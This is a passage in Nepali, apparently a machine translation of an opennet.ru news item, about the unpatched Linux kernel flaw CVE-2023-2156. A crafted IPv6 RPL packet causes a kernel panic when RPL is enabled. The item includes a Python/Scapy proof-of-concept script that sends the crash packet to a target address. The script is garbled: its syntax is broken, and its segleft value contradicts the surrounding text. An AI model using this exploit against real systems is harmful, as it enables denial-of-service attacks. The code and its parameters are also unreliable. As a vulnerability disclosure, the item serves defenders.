लिनक्स कर्नेलमा असुधारिएको (0-दिन) जोखिम (CVE-2023-2156) को बारेमा जानकारी खुलासा गरिएको छ, जसले विशेष रूपमा डिजाइन गरिएको IPv6 प्याकेटहरू (प्याकेट-अफ-डेथ) पठाएर प्रणालीलाई रोक्न अनुमति दिन्छ। समस्या तब मात्र देखा पर्दछ जब RPL (लो-पावर र हानि नेटवर्कहरूको लागि राउटिङ प्रोटोकल) प्रोटोकलको लागि समर्थन सक्षम हुन्छ, जुन वितरणमा पूर्वनिर्धारित रूपमा असक्षम हुन्छ र मुख्यतया उच्च प्याकेट हानि भएको वायरलेस नेटवर्कहरूमा सञ्चालन गर्ने इम्बेडेड उपकरणहरूमा प्रयोग गरिन्छ।
RPL प्रोटोकल पार्सिङ कोडमा बाहिरी डाटाको गलत प्रशोधनको कारणले गर्दा कमजोरी उत्पन्न हुन्छ, जसले एक एसर्ट विफलता र कर्नेललाई आतंकित अवस्थामा लैजान्छ। k_buff (सकेट बफर) संरचनामा IPv6 RPL प्याकेट हेडर पार्सिङबाट प्राप्त डाटा राख्दा, यदि CmprI फिल्डलाई 15 मा, Segleft फिल्डलाई 1 मा, र CmprE लाई 0 मा सेट गरिएको छ भने, ठेगानाहरू भएको ४८-बाइट भेक्टरलाई डिकम्प्रेस गरिएको छ। 48 बाइटहरूमा र एक स्थिति देखिन्छ जहाँ बफरको लागि छुट्याइएको मेमोरी पर्याप्त छैन। यस अवस्थामा, skb_push प्रकार्य, संरचनामा डेटा पुश गर्न प्रयोग गरिन्छ, डेटाको आकार र बफर बीचको अतुलनीयताको लागि जाँच गर्दछ, बफर सीमा भन्दा बाहिर लेख्न रोक्नको लागि आतंक अवस्था उत्पन्न गर्दछ।
उदाहरण शोषण: # हामी scapy.all आयातबाट प्याकेट क्राफ्ट गर्न Scapy प्रयोग गर्नेछौं * सकेट आयात गर्नुहोस् # तपाईंको LAN इन्टरफेसबाट IPv6 प्रयोग गर्नुहोस् DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # हामी प्याकेट पठाउन सकेटहरू प्रयोग गर्छौं sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # प्याकेट क्राफ्ट गर्नुहोस् # Type = 3 ले यसलाई RPL प्याकेट बनाउँछ # ठेगानाहरूमा 3 ठेगानाहरू छन्, तर CmprI 15 भएकोले, # पहिलो दुई ठेगानाहरूको प्रत्येक अक्टेट संकुचित ठेगानाको रूपमा व्यवहार गरिएको # Segleft = 1 प्रवर्द्धन ट्रिगर गर्न # lastentry = 0xf0 सेट CmprI लाई 15 र CmprE लाई 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type:"a=3,") :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # यो दुष्ट प्याकेट पठाउनुहोस् sockfd.sendto(bytes(p), (DST_ADDR, 0))
यो उल्लेखनीय छ कि कर्नेल विकासकर्ताहरूलाई जनवरी 2022 मा फिर्ता जोखिमको बारेमा सूचित गरिएको थियो र विगत 15 महिनाहरूमा उनीहरूले समस्या समाधान गर्न तीन पटक प्रयास गरेका छन्, सेप्टेम्बर 2022, अक्टोबर 2022 र अप्रिल 2023 मा प्याचहरू जारी गर्दै, तर प्रत्येक पटक फिक्सहरू थिए। पर्याप्त छैन र जोखिम पुन: उत्पादन गर्न सकिँदैन। अन्ततः, ZDI परियोजना, जसले जोखिम समाधान गर्न कार्यलाई समन्वय गर्यो, कर्नेलमा काम गर्ने समाधान उपलब्ध हुने प्रतीक्षा नगरी जोखिमको बारेमा विस्तृत जानकारी जारी गर्ने निर्णय गर्यो।
तसर्थ, कमजोरी अझै कायम छ। विशेष रूपमा, 6.4-rc2 कर्नेलमा समावेश गरिएको प्याच प्रभावहीन छ। प्रयोगकर्ताहरूलाई उनीहरूको प्रणालीमा RPL प्रोटोकल प्रयोग गरिएको छैन भनी जाँच गर्न सल्लाह दिइन्छ, जुन sysctl -a | आदेश प्रयोग गरेर गर्न सकिन्छ। grep -i rpl_seg_enabled
स्रोत: opennet.ru